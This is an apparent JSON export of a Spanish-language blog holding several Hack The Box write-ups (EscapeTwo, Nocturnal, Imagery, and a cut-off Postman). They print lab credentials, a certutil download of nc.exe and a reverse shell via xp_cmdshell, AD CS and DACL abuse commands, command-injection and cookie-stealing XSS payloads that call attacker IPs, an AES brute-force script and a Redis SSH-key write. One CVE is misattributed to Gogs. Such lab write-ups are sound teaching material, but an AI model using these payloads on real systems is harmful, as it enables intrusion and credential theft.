\u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;kevin@sequel.htb\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;kevin\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;Md9Wlq1E5bZnVDVo\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;NULL\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;sa@sequel.htb\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;sa\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;MSSQLP@ssw0rd!\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;/sst\u0026gt; Credenciales extraídas:\nangela@sequel.htb:0fwz7Q4mSpurIt99 oscar@sequel.htb:86LxLBMgEWaKUnBG kevin@sequel.htb:Md9Wlq1E5bZnVDVo sa@sequel.htb:MSSQLP@ssw0rd! Validé credenciales de Oscar:\nY también las de sa (administrador del servicio MSSQL):\nAcceso a MSSQL y ejecución de comandos Me conecté a MSSQL con impacket-mssqlclient:\nimpacket-mssqlclient sequel.htb/'sa:MSSQLP@ssw0rd!'@10.129.69.156\nHabilité xp_cmdshell para poder ejecutar comandos:\nPasé un nc.exe para lanzar una reverse shell.\nServidor HTTP en mi máquina:\n┌──(kali㉿kali)-[/usr/share/windows-resources/binaries] └─$ python3 -m http.server 4000 Serving HTTP on 0.0.0.0 port 4000 (http://0.0.0.0:4000/) ... 10.129.69.156 - - [11/Jan/2026 13:01:10] \u0026#34;GET /nc.exe HTTP/1.1\u0026#34; 200 - 10.129.69.156 - - [11/Jan/2026 13:01:11] \u0026#34;GET /nc.exe HTTP/1.1\u0026#34; 200 - --------------------------------------------------- --------------------------------------------------- --------------------------------------------------- --------------------------------------------------- SQL (sa dbo@master)\u0026gt; EXEC xp_cmdshell \u0026#39;certutil -urlcache -split -f http://10.10.15.44:4000/nc.exe C:\\Users\\sql_svc\\Desktop\\nc64.exe\u0026#39;; output CertUtil: -URLCache command completed successfully. NULL Ejecuté enable_xp_cmdshell y luego lancé la shell:\nSQL (sa dbo@master)\u0026gt; enable_xp_cmdshell INFO(DC01\\SQLEXPRESS): Line 185: Configuration option \u0026#39;show advanced options\u0026#39; changed from 1 to 1. Run the RECONFIGURE statement to install. INFO(DC01\\SQLEXPRESS): Line 185: Configuration option \u0026#39;xp_cmdshell\u0026#39; changed from 0 to 1. Run the RECONFIGURE statement to install. SQL (sa dbo@master)\u0026gt; EXEC xp_cmdshell \u0026#39;C:\\Users\\sql_svc\\Desktop\\nc64.exe 10.10.15.44 4444 -e powershell\u0026#39; Shell recibida:\nDentro de la máquina vi que la flag no estaba en el directorio de sql_svc, y que había otro usuario llamado ryan, así que necesitaba pivotar.\nBúsqueda de credenciales en la máquina (pivot a ryan) Busqué ficheros que contuvieran credenciales. En la ruta de instalación de SQL encontré un fichero de configuración con passwords:\nPS C:\\\u0026gt; dir Directory: C:\\ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 11/5/2022 12:03 PM PerfLogs d-r--- 1/4/2025 7:11 AM Program Files d----- 6/9/2024 8:37 AM Program Files (x86) d----- 6/8/2024 3:07 PM SQL2019 d-r--- 6/9/2024 6:42 AM Users d----- 1/4/2025 8:10 AM Windows PS C:\\\u0026gt; cd SQL2019 PS C:\\SQL2019\u0026gt; dir Directory: C:\\SQL2019 Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 1/3/2025 7:29 AM ExpressAdv_ENU PS C:\\SQL2019\u0026gt; cd ExpressAdv_ENU PS C:\\SQL2019\\ExpressAdv_ENU\u0026gt; dir Directory: C:\\SQL2019\\ExpressAdv_ENU Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 6/8/2024 3:07 PM 1033_ENU_LP d----- 6/8/2024 3:07 PM redist d----- 6/8/2024 3:07 PM resources d----- 6/8/2024 3:07 PM x64 -a---- 9/24/2019 10:03 PM 45 AUTORUN.INF -a---- 9/24/2019 10:03 PM 788 MEDIAINFO.XML -a---- 6/8/2024 3:07 PM 16 PackageId.dat -a---- 9/24/2019 10:03 PM 142944 SETUP.EXE -a---- 9/24/2019 10:03 PM 486 SETUP.EXE.CONFIG -a---- 6/8/2024 3:07 PM 717 sql-Configuration.INI -a---- 9/24/2019 10:03 PM 249448 SQLSETUPBOOTSTRAPPER.DLL PS C:\\SQL2019\\ExpressAdv_ENU\u0026gt; type sql-Configuration.INI [OPTIONS] ACTION=\u0026#34;Install\u0026#34; QUIET=\u0026#34;True\u0026#34; FEATURES=SQL INSTANCENAME=\u0026#34;SQLEXPRESS\u0026#34; INSTANCEID=\u0026#34;SQLEXPRESS\u0026#34; RSSVCACCOUNT=\u0026#34;NT Service\\ReportServer$SQLEXPRESS\u0026#34; AGTSVCACCOUNT=\u0026#34;NT AUTHORITY\\NETWORK SERVICE\u0026#34; AGTSVCSTARTUPTYPE=\u0026#34;Manual\u0026#34; COMMFABRICPORT=\u0026#34;0\u0026#34; COMMFABRICNETWORKLEVEL=\u0026#34;\u0026#34;0\u0026#34; COMMFABRICENCRYPTION=\u0026#34;0\u0026#34; MATRIXCMBRICKCOMMPORT=\u0026#34;0\u0026#34; SQLSVCSTARTUPTYPE=\u0026#34;Automatic\u0026#34; FILESTREAMLEVEL=\u0026#34;0\u0026#34; ENABLERANU=\u0026#34;False\u0026#34; SQLCOLLATION=\u0026#34;SQL_Latin1_General_CP1_CI_AS\u0026#34; SQLSVCACCOUNT=\u0026#34;SEQUEL\\sql_svc\u0026#34; SQLSVCPASSWORD=\u0026#34;WqSZAF6CysDQbGb3\u0026#34; SQLSYSADMINACCOUNTS=\u0026#34;SEQUEL\\Administrator\u0026#34; SECURITYMODE=\u0026#34;SQL\u0026#34; SAPWD=\u0026#34;MSSQLP@ssw0rd!\u0026#34; ADDCURRENTUSERASSQLADMIN=\u0026#34;False\u0026#34; TCPENABLED=\u0026#34;1\u0026#34; NPENABLED=\u0026#34;1\u0026#34; BROWSERSVCSTARTUPTYPE=\u0026#34;Automatic\u0026#34; IAcceptSQLServerLicenseTerms=True PS C:\\SQL2019\\ExpressAdv_ENU\u0026gt; Con esa contraseña validé credenciales y confirmé acceso como ryan:\nComprobé el usuario ryan:\nPS C:\\SQL2019\\ExpressAdv_ENU\u0026gt; net user ryan User name ryan Full Name Ryan Howard Comment User\u0026#39;s comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 6/8/2024 8:55:45 AM Password expires Never Password changeable 6/9/2024 8:55:45 AM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 6/9/2024 9:16:26 AM Logon hours allowed All Local Group Memberships *Remote Management Use Global Group memberships *Management Department*Domain Users The command completed successfully. Como estaba en Remote Management Use, pude usar WinRM:\nBloodHound y ruta hacia AD CS Levanté BloodHound:\n/home/kali/bloodhound-cli containers start Encontré una posible escalada (ESC1) relacionada con abuso de certificados, ya que podía llegar al grupo Cert Publishers:\nPara automatizar el proceso de DACL Abuse, utilicé bloodyAD.\nEl permiso WriteOwner me permite cambiar el owner del objeto. Una vez soy owner, ya puedo modificar la DACL y darme permisos (por ejemplo, GenericAll).\nCambiar owner:\nbloodyAD -d sequel.htb -u ryan -p \u0026#39;WqSZAF6CysDQbGb3\u0026#39; --host DC01.sequel.htb set owner \u0026#39;CA_SVC\u0026#39; \u0026#39;RYAN\u0026#39; Dar GenericAll:\nbloodyAD -d sequel.htb -u ryan -p \u0026#39;WqSZAF6CysDQbGb3\u0026#39; --host DC01.sequel.htb add genericAll \u0026#39;CA_SVC\u0026#39; \u0026#39;RYAN\u0026#39; Cambiar contraseña (ya con control):\nbloodyAD -d sequel.htb -u ryan -p \u0026#39;WqSZAF6CysDQbGb3\u0026#39; --host DC01.sequel.htb set password \u0026#39;CA_SVC\u0026#39; \u0026#39;NewP@ssword2026!\u0026#39; Resultado:\nAD-CS Busqué vulnerabilidades en plantillas con certipy-ad:\nInterpretación: ESC4 implica que tengo permisos para editar la plantilla y hacerla vulnerable. Con el comando correspondiente modifiqué la template para que quedase explotable.\nVolví a ejecutar el análisis y ya aparecía como vulnerable:\nDespués exploté solicitando un certificado suplantando a Administrator:\nCon eso obtuve el NT hash del Admin:\nFinalmente, hice Pass-the-Hash para acceder como Administrator:\n","permalink":"https://synacklabs.github.io/posts/escapetwo/","tags":["Windows","AD","AD-CS"],"title":"EscapeTwo (Easy)"},{"categories":["Machine"],"content":"Resumen La máquina comienza con un servicio web que permite la subida de archivos. Mediante fuzzing de usuarios, localizo un archivo perteneciente al usuario amanda que contiene credenciales. Con ellas accedo a un panel de administración vulnerable a RCE (Remote Code Execution) mediante inyección de caracteres especiales (Newlines y Tabs) para evadir filtros. Exfiltro la base de datos, obtengo hashes y logro acceder por SSH como tobias. Finalmente, escalo privilegios identificando un servicio interno en el puerto 8080 (Gogs), el cual exploto mediante CVE-2023-46818 para obtener ejecución de código como root.\nEscaneo y Reconocimiento Inicio con un escaneo de puertos para identificar la superficie de ataque.\nPORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0) 80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://nocturnal.htb/ Enumeración Web (Puerto 80) El servidor redirige a nocturnal.htb, por lo que añado el dominio a mi /etc/hosts\nAl acceder, encuentro un panel que permite subir archivos. Observo que los archivos subidos se almacenan en el servidor y la estructura de la URL o el endpoint parece depender del nombre de usuario. Esto sugiere una vulnerabilidad de IDOR (Insecure Direct Object Reference) o enumeración de directorios.\nRealizo fuzzing sobre el campo de usuario para descubrir directorios de otros usuarios. Encuentro que el usuario amanda tiene archivos almacenados.\nDescargo y descomprimo un archivo encontrado en su directorio, lo que revela unas credenciales en texto claro.\nUser: amanda Pass: arHkG7HAI68X8s1J Acceso Inicial Panel de Administración y RCE Utilizo las credenciales de Amanda para loguearme en el panel de administración. En el dashboard (dashboard.php), encuentro un archivo para realizar backups que solicita una contraseña.\nEn ese campo igual hay un RCE.\nDescubro que hay un filtro de espacios, pero logro evadirlo utilizando tabuladores (%09) y saltos de línea (%0A)\n/nbash/t-c/t\u0026quot;whoami\u0026quot; (interpretado como \\n bash \\t -c \\t \u0026quot;whoami\u0026quot;)\nExfiltración de Base de Datos Aprovecho el RCE para volcar el contenido de la base de datos SQLite del servidor.\nPayload utilizado:\n%0Abash%09-c%09\u0026quot;sqlite3%09/var/www/nocturnal_database/nocturnal_database.db%09.dump\u0026quot;%0A\nLa respuesta me devuelve los registros de la tabla users con hashes de contraseña\nINSERT INTO users VALUES(1,\u0026#39;admin\u0026#39;,\u0026#39;d725aeba143f575736b07e045d8ceebb\u0026#39;); INSERT INTO users VALUES(2,\u0026#39;amanda\u0026#39;,\u0026#39;df8b20aa0c935023f99ea58358fb63c4\u0026#39;); INSERT INTO users VALUES(4,\u0026#39;tobias\u0026#39;,\u0026#39;55c82b1ccd55ab219b3b109b07d5061d\u0026#39;); Logro obtener la contraseña en texto claro para el usuario tobias: slowmotionapocalypse.\nMovimiento Lateral (SSH) Con las credenciales tobias:slowmotionapocalypse, me conecto exitosamente mediante SSH.\nRealizo una enumeración básica y confirmo que Tobias no tiene permisos de sudo. Sin embargo, al revisar los puertos internos abiertos (netstat o ss), detecto un servicio corriendo en el puerto 8080\nEscalada de Privilegios Tunneling y Enumeración Interna Para acceder al servicio interno, realizo un Local Port Forwarding (túnel SSH) hacia mi máquina atacante.\nAl acceder a localhost:8080, encuentro un servicio web (aparentemente Gogs, basado en el exploit posterior). Pruebo reutilización de credenciales y logro acceder con admin:slowmotionapocalypse.\nAnalizamos la versión.\nExplotación de CVE-2023-46818 Identifico que la versión del servicio es vulnerable a CVE-2023-46818. Esta vulnerabilidad permite escalar privilegios o lograr ejecución de código a través de una inyección de argumentos en el manejo de hooks de git o configuraciones internas.\nUtilizo un exploit público en Python para atacar la instancia:\nlink_preview\nA pesar de la inestabilidad del servidor, el exploit logra ejecutarse correctamente y me otorga una shell como root.\nLo tenemos!\n","permalink":"https://synacklabs.github.io/posts/nocturnal/","tags":["Linux","RCE","Internal Service"],"title":"Nocturnal (Easy)"},{"categories":["Machine"],"content":"Resumen Esta máquina presenta una aplicación web en el puerto 8000. Tras un bypass de control de acceso en el frontend, identifico un XSS en el sistema de reportes que me permite robar la cookie del administrador. Con acceso de admin, exploto un LFI para leer el código fuente (app.py), revelando credenciales de un usuario de pruebas. Utilizando estas credenciales, abuso de una inyección de comandos en la función de \u0026ldquo;crop\u0026rdquo; de imágenes para ganar acceso al sistema. Finalmente, descifro un backup encontrado localmente para pivotar al usuario mark y escalo privilegios abusando de una utilidad de gestión de Cron jobs mal configurada.\nEscaneo y Reconocimiento Comienzo con un escaneo de puertos estándar.\nPORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 8000/tcp open http-alt syn-ack ttl 63 Enumeración Web (Puerto 8000) La aplicación web ofrece funcionalidades básicas: Registro, Login, Subida de imágenes (Galería) y Reporte de Bugs.\nBypass de Autenticación (Frontend) Al investigar el proceso de login, intercepto la petición GET /auth que verifica el estado del usuario. La respuesta contiene un objeto JSON con el valor isAdmin: false.\nModifico la respuesta en vuelo (response manipulation) cambiando el valor a true.\nAl no haber validación en el backend para la visualización del panel, logro acceder al Frontend de Administración.\nHay validación el el backend así que no podemos usar estas funcionalidades. Vamos a probar con isTestUser.\nVemos que tenemos una pestaña de ManageGroups.\nAcceso Inicial XSS (Cross-Site Scripting) En el panel de Admin visualizado anteriormente, podemos ver que hay una función implementada que permite visualizar los bug reports por el administrador. Una posible XXS.\nInyecto un payload de XSS para exfiltrar las cookies del administrador hacia mi servidor.\nEl payload:\n\u0026lt;img src=x onerror=fetch(\u0026#39;http://10.10.14.53:8000/?pwned=\u0026#39;+document.cookie)\u0026gt; Recibo la conexión en mi servidor y obtengo la cookie de sesión del administrador.\nLFI (Local File Inclusion) Con la sesión de administrador válida, accedo al panel real.\nEncuentro una funcionalidad para descargar logs.\nPuede ser una posible LFI.\nAl probar payloads de Path Traversal, descubro que es efectivamente es vulnerable a LFI.\nIntento técnicas de Log Poisoning y Wrappers PHP sin éxito. Sin embargo, al analizar las cabeceras del servidor (Werkzeug) y buscando en el github de el server Werkzeug, podemos ver un poco la estructura y ver que normalmente esta basado en una aplicación Python.\nSi buscamos ese fichero y config.py podremos ver la estructura entera del proyecto.\nApunto al archivo principal donde se guarda la base de datos de la aplicación: db.json.\nEncontramos hashes de los usuarios.\nUsuario: Testuser Password: imbatman RCE (Remote Code Execution) Analizando el código fuente descargado (api_edit), encuentro la función crop para recortar imágenes. Esta función utiliza una llamada al sistema con shell=True, lo que permite inyección de comandos. El código indica que esta función solo está disponible para el rol Testuser.\nMe logueo con las credenciales obtenidas (Testuser:imbatman) y exploto la vulnerabilidad inyectando un comando para obtener una reverse shell usando busybox y nc.\nConsigo acceso al sistema como www-data.\nMovimiento Lateral: Usuario Mark Enumeración y Cracking de Backup Emeramos y podemos ver un archivo extraño de backups en la carpeta /var/backup/web---.zip.aes.\nDescargo el archivo. Al ser un archivo .aes, necesito fuerza bruta. Desarrollo un script en Python utilizando pyAesCrypt para intentar descifrarlo usando el diccionario rockyou.txt.\nScript de Cracking (Resumen):\nEl script itera sobre una wordlist, intentando descifrar el archivo con pyAesCrypt.decryptFile. Si el archivo de salida tiene tamaño mayor a 0, asume que la contraseña es correcta.\n#!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; aes_bruteforce.py Modo 1: wordlist (recomendado para CTFs) --rockyou Modo 2: brute (solo para longitudes muy pequeñas o pruebas) Uso: python3 aes_bruteforce.py --file archivo.zip.aes --wordlist /path/to/rockyou.txt python3 aes_bruteforce.py --file archivo.zip.aes --brute --min 1 --max 4 --charset abcdef012345 Notas: - Este script intenta descifrar con pyAesCrypt.decryptFile creando un archivo temporal. - Si tu .aes no es de AES Crypt (pyAesCrypt) esto fallará; en ese caso usa el flujo zip2john/john o hashcat. \u0026#34;\u0026#34;\u0026#34; import argparse import pyAesCrypt import tempfile import os import sys from tqdm import tqdm import itertools import time # Tamaño del buffer recomendado por pyAesCrypt BUFFER_SIZE = 64 * 1024 def try_password(aesfile, password): \u0026#34;\u0026#34;\u0026#34;Intenta descifrar aesfile con password. Devuelve True si tiene éxito.\u0026#34;\u0026#34;\u0026#34; # crear temporal para escribir la salida descifrada tmpf = None try: tmp = tempfile.NamedTemporaryFile(delete=False) tmpf = tmp.name tmp.close() # pyAesCrypt.decryptFile lanzará ValueError si la contraseña es incorrecta pyAesCrypt.decryptFile(aesfile, tmpf, password, BUFFER_SIZE) # si llegamos aquí: posiblemente contraseña correcta # comprobación simple: fichero resultado no vacío ok = os.path.getsize(tmpf) \u0026gt; 0 return ok except Exception as e: # errores esperados: ValueError / IntegrityError etc. -\u0026gt; contraseña incorrecta #print(\u0026#34;debug:\u0026#34;, repr(e)) return False finally: if tmpf and os.path.exists(tmpf): try: os.remove(tmpf) except: pass def mode_wordlist(aesfile, wordlist_path, start_line=0, limit=None): # Abrimos en modo texto (latin-1) para preservar bytes no ASCII with open(wordlist_path, \u0026#34;r\u0026#34;, encoding=\u0026#34;latin-1\u0026#34;, errors=\u0026#34;ignore\u0026#34;) as f: # si quieres evitar contar líneas (doble pasada) para wordlists muy grandes, # usa tqdm sin total. Aquí elegimos no contar si limit is None para ser más rápido. if start_line: for _ in range(start_line): if not f.readline(): break pbar = None if limit is not None: # Si hay límite, mostramos un tqdm con total=limit pbar = tqdm(total=limit, desc=\u0026#34;probando wordlist\u0026#34;, unit=\u0026#34;pwd\u0026#34;) tried = 0 while tried \u0026lt; limit: line = f.readline() if not line: break tried += 1 pwd = line.strip() if try_password(aesfile, pwd): print(f\u0026#34;[+] ¡Contraseña encontrada! -\u0026gt; {pwd}\u0026#34;) if pbar: pbar.close() return pwd pbar.update(1) if pbar: pbar.close() print(\u0026#34;[-] No encontrada en este segmento.\u0026#34;) return None else: # Sin límite: iteramos hasta el final. tqdm sin total (más rápido, no doble lectura) pbar = tqdm(desc=\u0026#34;probando wordlist\u0026#34;, unit=\u0026#34;pwd\u0026#34;) for line in f: pwd = line.strip() if try_password(aesfile, pwd): print(f\u0026#34;[+] ¡Contraseña encontrada! -\u0026gt; {pwd}\u0026#34;) pbar.close() return pwd pbar.update(1) pbar.close() print(\u0026#34;[-] No encontrada en esta wordlist.\u0026#34;) return None def mode_brute(aesfile, charset, min_len=1, max_len=3, prefix=\u0026#34;\u0026#34;): # ADVERTENCIA: espacio de búsqueda crece exponencialmente. print(f\u0026#34;[!] Bruteforce: charset={charset} min={min_len} max={max_len} (esto puede ser muy lento)\u0026#34;) for length in range(min_len, max_len + 1): total = len(charset) ** length print(f\u0026#34;Probando longitudes = {length} (combinaciones: {total})\u0026#34;) # usamos itertools.product for tup in tqdm(itertools.product(charset, repeat=length), total=total): pwd = prefix + \u0026#34;\u0026#34;.join(tup) if try_password(aesfile, pwd): print(f\u0026#34;[+] ¡Contraseña encontrada! -\u0026gt; {pwd}\u0026#34;) return pwd print(\u0026#34;[-] No encontrada en el rango solicitado.\u0026#34;) return None def main(): ap = argparse.ArgumentParser(description=\u0026#34;Brute/wordlist attack para .aes (pyAesCrypt)\u0026#34;) ap.add_argument(\u0026#34;--file\u0026#34;, \u0026#34;-f\u0026#34;, required=True, help=\u0026#34;archivo .aes (input)\u0026#34;) ap.add_argument(\u0026#34;--wordlist\u0026#34;, \u0026#34;-w\u0026#34;, help=\u0026#34;ruta a wordlist (ej. rockyou.txt)\u0026#34;) ap.add_argument(\u0026#34;--start-line\u0026#34;, type=int, default=0, help=\u0026#34;saltarse X líneas de la wordlist (útil para reanudar)\u0026#34;) ap.add_argument(\u0026#34;--limit\u0026#34;, type=int, default=None, help=\u0026#34;limitar número de intentos desde la wordlist\u0026#34;) ap.add_argument(\u0026#34;--brute\u0026#34;, action=\u0026#34;store_true\u0026#34;, help=\u0026#34;activar modo brute force (muy lento)\u0026#34;) ap.add_argument(\u0026#34;--charset\u0026#34;, type=str, default=\u0026#34;abcdefghijklmnopqrstuvwxyz0123456789\u0026#34;, help=\u0026#34;charset para brute\u0026#34;) ap.add_argument(\u0026#34;--min\u0026#34;, type=int, default=1, help=\u0026#34;min longitud brute\u0026#34;) ap.add_argument(\u0026#34;--max\u0026#34;, type=int, default=3, help=\u0026#34;max longitud brute\u0026#34;) ap.add_argument(\u0026#34;--prefix\u0026#34;, type=str, default=\u0026#34;\u0026#34;, help=\u0026#34;prefijo para brute (divide búsqueda)\u0026#34;) args = ap.parse_args() if not os.path.exists(args.file): print(\u0026#34;Archivo no encontrado:\u0026#34;, args.file) sys.exit(1) # modo wordlist if args.wordlist: if not os.path.exists(args.wordlist): print(\u0026#34;Wordlist no encontrada:\u0026#34;, args.wordlist); sys.exit(1) print(\u0026#34;[*] Modo wordlist activo. Ten paciencia.\u0026#34;) found = mode_wordlist(args.file, args.wordlist, start_line=args.start_line, limit=args.limit) if found: return # modo brute if args.brute: found = mode_brute(args.file, args.charset, min_len=args.min, max_len=args.max, prefix=args.prefix) if found: return print(\u0026#34;[*] Finished. No password found with the given inputs.\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Consigo la contraseña y descomprimo el backup. Dentro encuentro una versión anterior de la base de datos que contiene el hash del usuario mark.\nCrackeo el hash de Mark:\nHash: (obtenido del backup) Contraseña: supersmash Me conecto por SSH y obtenemos la user flag.\nEscalada de Privilegios Abuso de Cron Jobs Como usuario mark, enumero el sistema\ny encuentro una aplicación local (charcol) que permite gestionar backups encriptados.\nPermite gestionar tareas programadas (Cron Jobs).\nEsta utilidad parece tener permisos excesivos al ejecutarse en el contexto de root. Aprovecho la funcionalidad para crear un nuevo cron job malicioso.\nEn lugar de un script legítimo, configuro una tarea que otorgue permisos SUID a /bin/bash.\nComando inyectado en el Cron:\nchmod u+s /bin/bash\nEspero a que el cron se ejecute (probablemente cada minuto). Verifico los permisos de bash:\nImagery has been Pwned!\n","permalink":"https://synacklabs.github.io/posts/imagery/","tags":["LFI","XSS","CronJobs","RCE"],"title":"Imagery (Medium)"},{"categories":["Machine"],"content":"Resumen Esta máquina Linux presenta varios servicios expuestos, destacando Redis y Webmin. El punto de entrada se logra abusando de una mala configuración en Redis que permite escribir una clave SSH pública en el servidor, obteniendo acceso como el usuario redis. Tras enumerar el sistema, encuentro una clave SSH encriptada perteneciente al usuario Matt. Craqueo la contraseña de esta clave pero, debido a restricciones de SSH, debo usar su para pivotar lateralmente. Finalmente, aprovecho las credenciales de Matt para acceder a Webmin y exploto una vulnerabilidad de Ejecución Remota de Comandos (RCE) autenticada para escalar a root\nEnumeración Inicio con un escaneo de puertos para identificar la superficie de ataque.\nPORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDem1MnCQG+yciWyLak5YeSzxh4HxjCgxKVfNc1LN+vE1OecEx+cu0bTD5xdQJmyKEkpZ+AVjhQo/esF09a94eMNKcp+bhK1g3wqzLyr6kwE0wTncuKD2bA9LCKOcM6W5GpHKUywB5A/TMPJ7UXeygHseFUZEa+yAYlhFKTt6QTmkLs64sqCna+D/cvtKaB4O9C+DNv5/W66caIaS/B/lPeqLiRoX1ad/GMacLFzqCwgaYeZ9YBnwIstsDcvK9+kCaUE7g2vdQ7JtnX0+kVlIXRi0WXta+BhWuGFWtOV0NYM9IDRkGjSXA4qOyUOBklwvienPt1x2jBrjV8v3p78Tzz | 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIRgCn2sRihplwq7a2XuFsHzC9hW+qA/QsZif9QKAEBiUK6jv/B+UxDiPJiQp3KZ3tX6Arff/FC0NXK27c3EppI= | 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3FKsLVdJ5BN8bLpf80Gw89+4wUslxhI3wYfnS+53Xd 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu)) |_http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: The Cyber Geek\u0026#39;s Personal Website 6379/tcp open redis syn-ack ttl 63 Redis key-value store 4.0.9 10000/tcp open http syn-ack ttl 63 MiniServ 1.910 (Webmin httpd) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-favicon: Unknown favicon MD5: 066AF1F6A59FCB67495B545A6B81F371 |_http-title: Site doesn\u0026#39;t have a title (text/html; Charset=iso-8859-1). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Enumeración Web (Puertos 80 y 10000) Puerto 80: Muestra \u0026ldquo;The Cyber Geek\u0026rsquo;s Personal Website\u0026rdquo;, una página en construcción que no revela información útil tras el fuzzing\nPuerto 10000 (Webmin): Encuentro un panel de administración Webmin versión 1.910. Existe un exploit conocido para esta versión, pero requiere autenticación previa, por lo que lo reservo para más adelante.\nhttps://github.com/KentVolt/Webmin-1.910-Exploit/blob/master/Webmin 1.910 - Remote Code Execution using BurpSuite\nAcceso Inicial: Redis Enumeración de Redis (Puerto 6379) Al conectarme al servicio Redis, descubro que no requiere autenticación (config get requirepass está vacío). Esto me permite ejecutar comandos de configuración críticos.\nEl servidor corre con permisos que le permiten escribir en disco. Verifico la configuración del directorio de trabajo y confirmo que puedo cambiarlo:\n10.129.2.1:6379\u0026gt; CONFIG SET dir /var/lib/redis/.ssh OK Explotación: Escritura de Clave SSH Abuso de la funcionalidad de guardado de base de datos de Redis para escribir mi propia clave pública en el archivo authorized_keys del usuario redis.\nGenero un par de claves SSH localmente.\n┌──(kali㉿kali)-[~/Desktop/HTB/Postman/loot] └─$ ls id_ed25519 id_ed25519.pub Escribo la clave pública en la memoria de Redis:\n┌──(kali㉿kali)-[~/Desktop/HTB/Postman/loot] └─$ cat id_ed25519.pub | redis-cli -h 10.129.2.1 -x set ssh_key OK Configuro el nombre del archivo de destino y guardo:\n10.129.2.1:6379\u0026gt; CONFIG SET dbfilename authorized_keys OK 10.129.2.1:6379\u0026gt; save OK 10.129.2.1:6379\u0026gt; exit Nota: Inicialmente el login falla. Esto se debe a que el comando save de Redis vuelca datos binarios en el archivo, corrompiendo el formato que espera SSH. Soluciono esto añadiendo saltos de línea (\\n\\n) antes y después de la clave pública para aislarla de la \u0026ldquo;basura\u0026rdquo; binaria, permitiendo que sshd la lea correctamente.\n(echo -e \u0026#34;\\n\\n\u0026#34;; cat ~/id_rsa_generated.pub; echo -e \u0026#34;\\n\\n\u0026#34;) \u0026gt; spaced_key.txt Cuando se usa el comando SAVE o BGSAVE en Redis, el servidor no escribe un archivo de texto limpio. Genera un archivo con formato RDB, que es un formato binario propietario de Redis. Este archivo contiene metadatos, cabeceras y caracteres no imprimibles que sshd (el servicio de SSH) no entiende.\nEl servicio sshd es muy tolerante cuando lee el archivo authorized_keys. Su comportamiento es:\nIgnora las líneas que no reconoce o que tienen basura binaria. Busca específicamente una línea que empiece por ssh-rsa (o el algoritmo que uses). Al rodear la llave con varios \\n (saltos de línea), nos aseguramos de que la llave pública quede aislada en su propia línea, separada de la basura binaria que Redis escribe al principio y al final del archivo.\nUna vez corregido, accedo por SSH como el usuario redis.\nMovimiento Lateral: Usuario Matt Ya dentro del sistema, enumero los archivos del usuario.\nEnumerando podemos ver que el usuario redis estaba controlado por Matt.\nredis@Postman:~$ cat .bash_history exit su Matt pwd nano scan.py python scan.py nano scan.py clear nano scan.py clear python scan.py exit exit cat /etc/ssh/sshd_config su Matt clear cd /var/lib/redis su Matt exit cat id_rsa.bak ls -la exit cat id_rsa.bak exit ls -la crontab -l systemctl enable redis-server redis-server ifconfig netstat -a netstat -a netstat -a netstat -a netstat -a \u0026gt; txt exit crontab -l cd ~/ ls nano 6379 exit Lo que más llama la atención es ese archivo id_rsa.bak\nredis@Postman:/home/Matt$ find / -name \u0026#34;id_rsa.bak\u0026#34; 2\u0026gt;/dev/null /opt/id_rsa.bak Se trata de una clave privada SSH encriptada. La transfiero a mi máquina local para intentar crackearla.\nEl problema es que el usuario Matt no tiene permitido connectarse mediante SSH, ya que nos damos cuenta haciendo un cat a /etc/ssh/sshd_config, que era otro de los comandos ejecutados por el usuario redis.\ncat /etc/ssh/sshd_config BLA, BLA #deny users DenyUsers Matt BLA, BLA Cracking de Clave SSH Igualmente utilizo ssh2john para convertir la clave a un formato crackeable y luego john con el diccionario rockyou.\n┌──(root㉿kali)-[/home/…/Desktop/HTB/Postman/loot] └─# ssh2john id_rsa 